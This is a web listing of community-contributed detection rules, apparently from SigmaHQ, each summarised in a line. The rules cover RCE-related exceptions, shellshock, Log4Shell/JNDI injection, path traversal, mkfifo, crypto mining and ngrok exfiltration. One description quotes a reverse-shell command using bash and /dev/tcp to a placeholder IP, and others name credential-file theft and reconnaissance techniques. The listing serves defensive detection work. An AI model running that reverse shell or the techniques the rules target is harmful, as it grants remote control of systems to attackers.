Detections

Explore public detection logic contributed by the community across SIEM and rule languages.

7,128 detections

Detects potential local file read vulnerability in JVM based apps.
If the exceptions are caused due to user input and contain path traversal payloads then it's a red flag.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects process execution related exceptions in JVM based apps, often relates to RCE
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects shellshock expressions in log files
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects when the file "passwd" or "shadow" is copied from tmp path
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
202
Detects the creation of a new named pipe using the "mkfifo" utility
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects usage of "find" binary in a suspicious manner to perform discovery
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
302
Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects execution of shells from a parent process located in a temporary (/tmp) directory
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects possible Java payloads in web access logs
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects path traversal exploitation attempts
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects suspicious command with /dev/tcp
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects the creation of shell scripts under the "profile.d" path.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects process connections to a Monero crypto mining pool
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
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